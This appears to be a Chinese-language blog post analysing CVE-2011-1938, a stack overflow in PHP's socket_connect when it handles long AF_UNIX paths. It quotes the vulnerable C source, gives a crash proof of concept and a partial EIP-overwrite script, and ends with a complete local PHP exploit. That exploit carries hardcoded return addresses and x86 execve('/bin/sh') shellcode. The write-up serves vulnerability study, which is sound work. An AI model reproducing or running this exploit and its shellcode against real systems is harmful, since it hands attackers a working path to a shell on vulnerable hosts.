欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]CVE-2011-1938漏洞浅析以及exp编写

[原创]CVE-2011-1938漏洞浅析以及exp编写

0x01 前言

首先这是我第一次尝试在linux写实际的漏洞利用的exp,水平有限欢迎指出。本次要讲的是php的一个栈溢出漏洞,远程的exp说实在的,现在是不知道咋写,所以只能写个本地的,说不定以后就有思路了。还有php本身有种简要的exp写法,不过我没怎么研究,大致看了下,感兴趣的同学可以学习下,最后欢迎大家一起与我多交流。

0x02 漏洞分析

本次漏洞很简单,我就直接拿别人分析过的贴上来了。

 

Vulnerable code

 

In ext/sockets/sockets.c:

 

 

```

PHP_FUNCTION(socket_connect)

{

  zval                    *arg1;

  php_socket              *php_sock;

  struct sockaddr_in      sin;

  #if HAVE_IPV6

  struct sockaddr_in6     sin6;

  #endif

  struct sockaddr_un      s_un; /* stack var */

  char                    *addr;

  int                     retval, addr_len;

  long                    port = 0;

  int                     argc = ZEND_NUM_ARGS();

  [...]

 

    case AF_UNIX:

       memset(&s_un, 0, sizeof(struct sockaddr_un));

       s_un.sun_family = AF_UNIX;

       memcpy(&s_un.sun_path, addr, addr_len); /*没有限制参数导致拷贝的时候出现栈溢出漏洞 */

       retval = connect(php_sock->bsd_socket, (struct sockaddr *) &s_un,

                (socklen_t) XtOffsetOf(struct sockaddr_un, sun_path) + addr_len);

       break;

  [...]

}

总结下漏洞原理socket_connect这个函数的第二个参数的长度没有做限制,后来传入memcpy后拷贝超出sun_path的大小造成栈溢出漏洞。

0x03 漏洞利用

 

要注意的是由于拷贝的时候会覆盖到下面函数的指针,所以在写exp的时候可以将原来的地址填充进去。

可以运行poc来观察一下,我分别在X86X64进行了实验。

poc.php 

<?php

    $pad = str_repeat("A", 500);

    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);

    $ret  = socket_connect($fd, $pad);

?>

GDB调试php,运行poc。观察到rax是个指针,读到了0x41414141无效地址,把这个地址改为正常地址,后面还有一处也还会覆盖,根据调试情况也进行更改。

[图片:694899_3avrjgyz6sh4k5m.png]

之后编写可以覆盖到ret的半成品exp,代码如下:

<?php

    $padd = str_repeat("A", 156)."\x20\x9d\x72\x08";

    $pad2=str_repeat("B",12)."\x18\xcc\xff\xbf";

    $pad3=str_repeat("C",4)."DDDD";

    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);

    $ret  = socket_connect($fd, $padd.$pad2.$pad3);

?>

[图片:694899_rafq3dglbqu0pej.png]

可以观察到eip指针被覆盖为DDDD,最后根据调试,将exp编写完整。

<?php

    $shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

    $padd = str_repeat("A", 131)."\x20\xba\x74\x08";

    $pad1=$shellcode.$padd;

    $pad2=str_repeat("B",12)."\x18\xcc\xff\xbf";

    $pad3=str_repeat("C",4)."\x08\xcb\xff\xbf";

    $fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);

 

    $ret  = socket_connect($fd, $pad1.$pad2.$pad3);

?>

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功